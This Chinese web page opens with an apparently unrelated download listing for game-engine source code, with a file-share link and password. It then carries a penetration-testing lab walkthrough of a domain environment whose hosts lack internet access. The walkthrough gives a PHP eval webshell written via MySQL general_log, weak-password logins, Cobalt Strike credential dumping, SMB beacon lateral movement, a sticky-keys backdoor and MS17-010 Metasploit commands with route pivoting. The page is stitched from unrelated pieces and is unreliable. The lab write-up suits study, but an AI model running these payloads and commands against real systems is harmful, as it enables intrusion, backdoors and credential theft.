【实例简介】GameOfMir俗称GOM引擎源代码全套完整版
【实例截图】
文件:590m.com/f/25127180-489417069-952f07(访问密码:551685)
以下内容无关:
-------------------------------------------分割线---------------------------------------------
一、前言
之前在打一个域环境的时候出现了域内主机不出网的情况,当时用的是cs的socks代理将不出网主机的流量代理到了边缘主机上。当时没有考虑太多,下来之后想到搭一个环境复现一下当时的情况,看有没有更简便的方法能够打下不出网的主机。
机缘巧合之下,发现了这个域环境还不错,再复现的过程中也有一些知识触及了我的知识盲区,也收获了许多新的知识。特地把过程记录下来,与想要学习打域内不出网主机的师傅们共同分享。
二、靶场地址分配
内网网段:192.168.52.0/24
外网网段:192.168.10.0/24
攻击机:
kali:192.168.10.11
靶场:
win7(内):192.168.52.143
win7(外):192.168.10.15
展开全文
域内主机:
Winserver2003:192.168.52.141
Winserver2008:192.168.52.138
其中win7可以外网、内网通信,域内主机只能内网之间进行通信
一开始DCping不通win7,win7关闭防火墙之后可以ping通
打开C盘下的phpstudy目录打开web服务
三、web服务器渗透
1.nmap探测端口
nmap -sS -P0 -sV -O 192.168.10.15
开了80端口,尝试访问web地址,发现为php探针
滑到最底部,发现网站底部有一个MySQL数据库连接检测
弱口令root/root连接成功
2.扫描后台
我这里用的是御剑,但是好像很拉,因为在我打完这个靶场之后再去网上看的时候发现他们很多扫出来一个cms,通过cms也能拿shell,这里我就不演示怎么用cms弱口令进后台写shell了,如果有感兴趣的小伙伴可以自行搜索一下
发现phpmyadmin目录,还是root/root弱口令登陆成功
进入后界面如下所示
3.通过phpmyadmin写shell
通过phpmyadmin写shell有两种方式,具体原理请参考我的另一篇文章
https://www.cnblogs.com/Drunkmars/p/mars36.html
首先我尝试 select into outfile直接写入,但是他这里secure_file_priv的值为NULL,所以无法提权
只能使用另外一种方法,用全局日志写shell
SHOW VARIABLES LIKE '%general%'
查看配置,可以看到全局日志是处于关闭的状态,gengeral_log_file返回了日志的绝对地址
那这里我先把它的全局日志打开,再往它路径里面写入一个一句话木马
set global general_log = on;
开启全局日志后修改绝对路径,注意这里有一个坑,日志给我们返回的路径是C:\phpStudy\MySQL\data\stu1.log,但是mysql访问的绝对地址为C:\phpStudy\WWW目录下的文件,所以这个地方写shell必须要写到WWW目录下才能够用蚁剑连接上
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
这里再写入一句话木马
select '<?php eval($_POST[cmd]);?>'
然后再上蚁剑连接即可
可以看到连接成功
四、内网信息搜集
查看下系统的权限,一上来就是administrator权限就很舒服
ipconfig /all查看网络信息,域环境+双网卡
tasklist /svc粗略看了一下,似乎是没有杀软的
想着没有杀软,那么直接用最简单粗暴的上cs更省心,上传一个cs生成的木马exe到目标主机上
用计划任务上线cs
成功上线
五、内网渗透
1.信息搜集
net view查看域信息
使用cs自带的端口扫描扫一波主机
扫出来所有的主机如下
hashdump抓一波hash
logonpasswords抓一波明文
所有凭证如下,打码的原因是因为之前登陆的时候密码要重置,弄了一个带有个人信息的密码
2.思路
这里我测试了一下,因为目标主机没有开启防火墙,是能够通过cs自带的psexec一波横向抓域控和域内机器密码的,但是鉴于这个win7双网卡且域内另外主机不出网的情况,练习一下如何打不出网的主机
不出网机器上线一般有以下几种方式:
使用smb beacon
配置listener通过HTTP代理上线
使用pystinger搭建socks4代理
这里我使用SMB beacon这个方法
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线
首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线
1.使用条件
具有 SMB Beacon 的主机必须接受 445 端口上的连接。
只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
2.使用方法
1.建立smb listener
2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限
3.连接成功,可以看到smb beacon上线的主机右侧有∞∞标识
使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断
六、内网横向渗透
1.思路
用Ladon扫一波内网的永恒之蓝,发现这几台主机都存在MS17-010
ms17010常见的几种打法:
msf
ladon/ladon_ms17010
从msf分离出的exe
nessus里的exe
cs插件
这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果
msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低
在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口,而且还会留一个粘滞键后门,具体请移步我的另外一篇文章
https://www.cnblogs.com/Drunkmars/p/mar28.html
根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”
2.cs派生msf会话
msf设置监听端口
cs新建端口建立对话
运行拿到meterpreter
3.ms_17_010获取域控权限
这里因为知道了DC是有ms_17_010这个漏洞的,所以我先尝试了用永恒之蓝打一波
使用如下模块
exploit/windows/smb/ms17_010_eternalblue
运行之后发现exp已经打过去了但是没有session建立
再换个ms17010的模块
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/blind_tcp
同样没有拿到shell,当时没有细想,后来我考虑到可能是win7处于两个网段的原因,所以用永恒之蓝直接打是拿不到shell的
4.msf打不出网机器的ms_17_010
想到之前拿到了win7的meterpreter,所以用添加路由的方式尝试一下
msf在单兵作战的时候还是很稳定很香的。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由
1.查看路由
run get_local_subnets
2.添加路由
run autoroute -s 192.168.52.0/24
3.查看添加的路由
run autoroute -p
4.开始攻击
把shell切换到后台,再运用ms17_010_eternalblue模块
这次能够成功建立连接
5.ms_17_010模块总结
漏洞检测方法:
use auxiliary/scanner/smb/smb_ms17_010
之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,所以就没有进行漏洞检测。
漏洞利用常使用的是:
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_psexec
这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。
在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.164.156 192.168.164.161
set command tasklist
show options
run
如果命令执行成功的话就可以优先考虑这两个模块进行利用
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_psexec